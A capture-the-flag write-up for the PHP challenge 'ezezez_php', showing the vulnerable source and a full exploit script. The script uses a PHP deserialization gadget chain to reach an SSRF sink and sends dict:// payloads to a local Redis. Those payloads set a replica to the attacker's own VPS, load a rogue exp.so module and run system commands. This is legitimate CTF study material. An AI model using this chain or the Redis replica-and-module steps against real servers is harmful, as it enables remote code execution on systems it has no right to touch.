ezezez_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<?php
highlight_file(__FILE__);
include "function.php";
class Rd
{
public $ending;
public $cl;

public $poc;

public function __destruct()
{
echo "All matters have concluded"."</br>";
}

public function __call($name, $arg)
{
foreach ($arg as $key => $value) {

if ($arg[0]['POC'] == "0.o") {
$this->cl->var1 = "get";
}
}
}
}

class Poc
{
public $payload;

public $fun;

public function __set($name, $value)
{
$this->payload = $name;
$this->fun = $value;
}

function getflag($paylaod)
{
echo "Have you genuinely accomplished what you set out to do?"."</br>";
file_get_contents($paylaod);
}
}

class Er
{
public $symbol;
public $Flag;

public function __construct()
{
$this->symbol = True;
}

public function __set($name, $value)
{
if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',base64_decode($this->Flag))){
$value($this->Flag);
}
else {
echo "NoNoNo,please you can look hint.php"."</br>";
}
}


}

class Ha
{
public $start;
public $start1;
public $start2;

public function __construct()
{
echo $this->start1 . "__construct" . "</br>";
}

public function __destruct()
{
if ($this->start2 === "o.0") {
$this->start1->Love($this->start);
echo "You are Good!"."</br>";
}
}
}

function get($url) {
$url=base64_decode($url);
var_dump($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
var_dump($result_info);
curl_close($ch);
var_dump($output);
}


if (isset($_POST['pop'])) {
$a = unserialize($_POST['pop']);
} else {
die("You are Silly goose!");
}

?>

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
<?php
highlight_file(__FILE__);
include "function.php";
class Rd
{
public $ending;
public $cl;

public $poc;

public function __construct(){
$this->cl = new Er();
}
public function __destruct()
{
echo "All matters have concluded"."</br>";
}

public function __call($name, $arg)
{
foreach ($arg as $key => $value) {

if ($arg[0]['POC'] == "0.o") {
$this->cl->var1 = "get";
}
}
}
}

class Er{
public $symbol;
public $Flag;

public function __construct(){
// $this->Flag = base64_encode('dict://127.0.0.1:6379/info');
// $this->Flag = base64_encode('dict://127.0.0.1:6379/config:set:dir:/tmp'); //设置目录
// $this->Flag = base64_encode('dict://127.0.0.1:6379/config:get:dir'); //获取
// $this->Flag = base64_encode('dict://127.0.0.1:6379/config:set:dbfilename:exp.so');
// $this->Flag = base64_encode('dict://127.0.0.1:6379/slaveof:修改为自己的VPS:2222');
// $this->Flag = base64_encode('dict://127.0.0.1:6379/module:load:./exp.so'); //加载exp.so
$this->Flag = base64_encode('dict://127.0.0.1:6379/system.exec:"env"'); //命令执行
}

public function __set($name, $value)
{
if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',base64_decode($this->Flag))){
$value($this->Flag);
}
else {
echo "NoNoNo,please you can look hint.php"."</br>";
}
}
}

class Ha{
public $start;
public $start1;
public $start2;

/* public function __construct()
{
echo $this->start1 . "__construct" . "</br>";
}*/

public function __destruct()
{
if ($this->start2 === "o.0") {
$this->start1->Love($this->start);
echo "You are Good!"."</br>";
}
}

public function __construct(){
$this->start1 = new Rd();
$this->start2 = "o.0";
$this->start = array("POC"=>"0.o");
}
}
//SSRF请求
/*function get($url) {
$url=base64_decode($url);
var_dump($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
var_dump($result_info);
curl_close($ch);
var_dump($output);
}*/

$a = new Ha();
echo urlencode(serialize($a));

Redis漏洞利用:https://www.cnblogs.com/xiaozi/p/13089906.html
       https://mp.weixin.qq.com/s/Ru8fM_7X9mdG0CiVeKI39Q

本题讲解:【2024春秋杯冬季赛ezezez_php复现】https://www.bilibili.com/video/BV1Qe411E75F?vd_source=aa13d69224a955c223f4998b491b80fb